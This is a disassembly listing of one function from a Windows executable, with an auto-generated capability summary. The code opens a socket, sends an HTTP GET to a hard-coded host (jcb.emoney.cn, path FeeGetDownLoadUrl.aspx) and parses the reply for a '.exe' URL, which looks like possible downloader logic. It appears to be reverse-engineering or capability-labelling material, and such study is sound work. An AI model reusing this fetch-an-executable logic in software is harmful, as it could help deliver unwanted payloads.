Function at 0x405830
Capabilities:
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x431c1d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x13b4
call fcn.00414230
mov eax, dword [0x441304]
push ebx
mov dword [esp + 0x13b4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov ecx, dword [eax]
mov eax, dword [ecx - 0xc]
test eax, eax
push edi
mov dword [esp + 0x24], esi
je 0x405bed
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x405bed
mov byte [esp + 0x28], 0
xor eax, eax
mov ecx, 0x7f
lea edi, [esp + 0x29]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.jcb.emoney.cn
lea ecx, [esp + 0x1c]
stosb byte es:[edi], al
call fcn.00402740
mov dword [esp + 0x13cc], 0
call fcn.00422ef8
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0xac]
mov ecx, dword [esi + 0xb0]
push eax
push ecx
lea edx, [esp + 0x1c]
push str._FeeGetDownLoadUrl.aspx_tid_ldsid_ld
push edx
mov byte [esp + 0x13dc], 1
call fcn.004021f0
add esp, 0x10
lea eax, [esp + 0x228]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40595e
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x13cc], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40592c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [esp + 0x13cc], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405bed
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x405bed
mov eax, dword [ebp + 8]
push ebx
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.00401ad0
mov ecx, esi
call fcn.00405160
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405bdb
mov byte [esp + 0x3b8], 0
xor eax, eax
mov ecx, 0x3ff
lea edi, [esp + 0x3b9]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
push ecx
stosw word es:[edi], ax
lea edx, [esp + 0x14]
push str.http:__
push edx
stosb byte es:[edi], al
call fcn.004044b0
lea ecx, [esp + 0x20]
push ecx
push eax
lea edx, [esp + 0x30]
push edx
mov byte [esp + 0x13e4], 2
call fcn.00404400
mov ecx, dword [esp + 0x30]
mov edx, dword [eax]
push ecx
push edx
lea eax, [esp + 0x3d8]
push str.GET__s_HTTP_1.0_r_nHost:_s_r_nUser_Agent:Mozilla_4.0_r_n_r_n
push eax
call fcn.00414541
add esp, 0x28
lea ecx, [esp + 0x1c]
call fcn.00401920
lea ecx, [esp + 0x10]
mov byte [esp + 0x13cc], 1
call fcn.00401920
lea eax, [esp + 0x3b8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a10
push 0
sub eax, edx
push eax
lea ecx, [esp + 0x3c0]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x405bdb
lea ecx, [esp + 0x10]
call fcn.00401ab0
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov byte [esp + 0x13cc], 3
jmp 0x405a50
push 0
push 0x1ff
lea edx, [esp + 0x30]
push edx
push ebx
call edi
mov esi, eax
test esi, esi
lea ecx, [esp + 0x10]
jl 0x405bd6
lea eax, [esp + 0x28]
push eax
mov byte [esp + esi + 0x2c], 0
call fcn.00404cd0
test esi, esi
jg 0x405a50
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, dword [esp + 0x10]
mov eax, dword [esi - 0xc]
test eax, eax
jge 0x405a9d
or edi, 0xffffffff
jmp 0x405ab8
push str._r_n_r_n
push esi
call fcn.00414289
add esp, 8
test eax, eax
jne 0x405ab4
or edi, 0xffffffff
jmp 0x405ab8
sub eax, esi
mov edi, eax
lea ecx, [esp + 0x1c]
call fcn.00401ab0
mov eax, dword [esi - 0xc]
mov ebx, 4
sub eax, edi
sub eax, ebx
push eax
lea ecx, [esp + 0x24]
push ecx
lea ecx, [esp + 0x18]
mov byte [esp + 0x13d4], bl
call fcn.00401ee0
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x13d0], 5
call fcn.00402100
lea ecx, [esp + 0x20]
mov byte [esp + 0x13cc], bl
call fcn.00401920
lea ecx, [esp + 0x1c]
call fcn.004040b0
mov esi, dword [esp + 0x1c]
mov eax, dword [esi - 0xc]
test eax, eax
jl 0x405bc9
push str..exe
push esi
call fcn.00414289
add esp, 8
test eax, eax
je 0x405bc9
sub eax, esi
cmp eax, 0xffffffff
jle 0x405bc9
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x14]
call fcn.00402100
mov ecx, dword [ebp + 0x10]
lea eax, [esp + 0x10]
push eax
call fcn.00402100
push 0x2f
lea ecx, [esp + 0x14]
call fcn.00401860
mov ecx, dword [esp + 0x10]
mov ecx, dword [ecx - 0xc]
sub ecx, eax
dec ecx
push ecx
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 0x18]
call fcn.00401ee0
mov ecx, dword [esp + 0x24]
push eax
add ecx, 0x13c
mov byte [esp + 0x13d0], 6
call fcn.00402210
lea ecx, [esp + 0x20]
call fcn.00401920
lea ecx, [esp + 0x1c]
call fcn.00401920
lea ecx, [esp + 0x10]
call fcn.00401920
lea ecx, [esp + 0x14]
call fcn.00401920
lea ecx, [esp + 0x18]
call fcn.00401920
mov eax, 1
jmp 0x405bef
lea ecx, [esp + 0x1c]
call fcn.00401920
lea ecx, [esp + 0x10]
call fcn.00401920
lea ecx, [esp + 0x14]
call fcn.00401920
lea ecx, [esp + 0x18]
call fcn.00401920
xor eax, eax
mov ecx, dword [esp + 0x13c4]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x13bc]
call fcn.00413d31
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc